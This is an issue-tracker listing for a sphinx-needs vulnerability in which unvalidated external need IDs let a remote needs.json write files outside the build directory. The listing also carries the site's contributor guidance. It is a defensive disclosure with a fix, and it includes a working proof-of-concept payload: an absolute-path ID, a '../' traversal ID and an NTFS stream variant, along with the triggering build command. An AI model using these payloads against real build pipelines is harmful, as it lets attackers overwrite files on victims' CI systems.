Arbitrary file write via unsanitised need ID in the `needs_id` builder (path traversal)
Maintainers usually reply within 1 day
Nobody has claimed this yet.
Assessment
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Newbie friendliness
- 68/100
Research direction
Start by reading builder.py around NeedsIdBuilder.finish() and needsfile.py where the output file is opened; then inspect the external need ID validation in api/need.py. Add regression coverage for absolute and traversal IDs through the external and needimport paths. Done means unsafe IDs cannot write outside the output directory and valid IDs still produce their JSON files.
Written by the indexing model from the issue text.
Description
Package
sphinx-needs
What happens
Summary
When needs_build_json_per_id = True or the needs_id builder is used, NeedsIdBuilder.finish() constructs each output filename as f"{id}.json" and passes it directly to os.path.join(needs_dir, file_name) with no sanitisation. Need IDs loaded from external sources (needs_external_needs / needimport) skip the ID-regex validation gate, so a malicious remote needs.json can supply an ID that is an absolute path or contains ../ components, causing the build to write a file outside the intended output directory.
Affected code — sphinx-needs 8.5.0
| Location | Issue |
|---|---|
api/need.py:214-218 |
needs_id_regex check has and not is_external — external needs skip ID validation entirely |
api/need.py:217 |
needimport applies only a prefix re.match('^[A-Z0-9_]{5,}', id) — ABCDE/../../../evil passes |
builder.py:182-183 |
file_name = f"{id}.json" — raw ID used as filename |
needsfile.py:196-200 |
open(os.path.join(needs_dir, needs_file), "w") — absolute ID discards needs_dir; ../ hops escape it |
Exploit scenario
A docs project loads needs from a partner/subcontractor sphinx-needs server (the documented needs_external_needs cross-project linking feature). The remote server controls the id values in its needs.json. A malicious server supplies an ID that is an absolute path; every CI build of the victim project writes that need's JSON export to the attacker-chosen path.
# Attacker's needs.json (served from attacker-controlled server)
{
"current_version": "1.0",
"versions": {
"1.0": {
"needs": {
"/attacker/chosen/path": {
"id": "/attacker/chosen/path",
"type": "req",
"title": "pwned",
"content": "attacker-controlled content",
"status": "open"
}
}
}
}
}
# victim conf.py
needs_external_needs = [{"base_url": "https://partner.example",
"json_url": "https://partner.example/needs.json"}]
needs_builder_filter = "is_external==True"
sphinx-build -b needs_id docs/ out/
# writes /attacker/chosen/path.json with fully attacker-controlled JSON content
The needimport path is exploitable without a custom needs_builder_filter — a needimport directive loading a remote URL with an ID like ABCDE/../../../evil passes the prefix-only regex and reaches the same sink.
Impact
- Write attacker-controlled JSON to any path writable by the build process
- On CI systems this can overwrite
.jsonconfig files consumed by downstream tooling - The written content (title, content, status, tags, links) is fully attacker-controlled
- The forced
.jsonsuffix prevents direct script overwrite, but on Windows NTFS alternate data streams apply (id = "victim:stream"writesvictim:stream.json)
Fix
Sanitise the ID before using it as a filename in NeedsIdBuilder.finish():
import os
safe_name = os.path.basename(need_id)
if safe_name != need_id or safe_name.startswith('.'):
raise SphinxNeedsError(f"Need id {need_id!r} is not safe to use as a filename")
file_name = f"{safe_name}.json"
Additionally, apply the needs_id_regex check to external needs (remove the and not is_external condition) so malformed IDs are rejected at load time rather than at write time.
Minimal example
# victim conf.py
needs_external_needs = [{"base_url": "https://partner.example",
"json_url": "https://partner.example/needs.json"}]
needs_builder_filter = "is_external==True"
Build output
sphinx-needs version
8.5.0
Sphinx and Python versions
sphinx 9.1.0, python 3.12.9
Builder and theme
No response
- Dominant language
- Python
- Stars
- 309
- Forks
- 103
- Avg merge
- 11h 26m
- Merged PRs (30d)
- 118
Getting set up
This project ships no dev container, Dockerfile or contributing guide, so setting up is up to you: start from its README, and see our first-contribution guide for the general steps.
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from useblocks/sphinx-needs
-
documentation pkg: sphinx-needs
Difficulty 1/5 Under an hour Newbie friendliness 82/100
useblocks/sphinx-needs#2255 ·
Maintainers usually reply within 1 day
-
bug pkg: sphinx-needs
Difficulty 2/5 1-3 hours Newbie friendliness 72/100
useblocks/sphinx-needs#2253 ·
Maintainers usually reply within 1 day
-
bug pkg: sphinx-needs
Difficulty 2/5 1-3 hours Newbie friendliness 66/100
useblocks/sphinx-needs#2251 ·
Maintainers usually reply within 1 day
-
bug pkg: sphinx-needs
Difficulty 2/5 1-3 hours Newbie friendliness 62/100
useblocks/sphinx-needs#2249 ·
Maintainers usually reply within 1 day
-
documentation pkg: sphinx-test-reports
Difficulty 2/5 1-3 hours Newbie friendliness 66/100
useblocks/sphinx-needs#2247 ·
Maintainers usually reply within 1 day
All issues in useblocks/sphinx-needs
Similar issues
-
good first issue
Difficulty 2/5 1-3 hours Newbie friendliness 85/100
btclib-org/btclib-node#1955 ·
Maintainers usually reply within 1 day
-
documentation v0.9.2
Difficulty 2/5 Half a day Newbie friendliness 72/100
khuisman/mcp-gee-sweet#1033 ·
Maintainers usually reply within 1 day
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 76/100
ossf/cve-bin-tool#5966 ·
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 62/100
Maintainers usually reply within 2 days
-
write_iceberg ignores the table's write.parquet.compression-codec propertyPossibly taken @YuangGao claimed this today. Open
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
Eventual-Inc/Daft#7606 ·
Maintainers usually reply within 1 day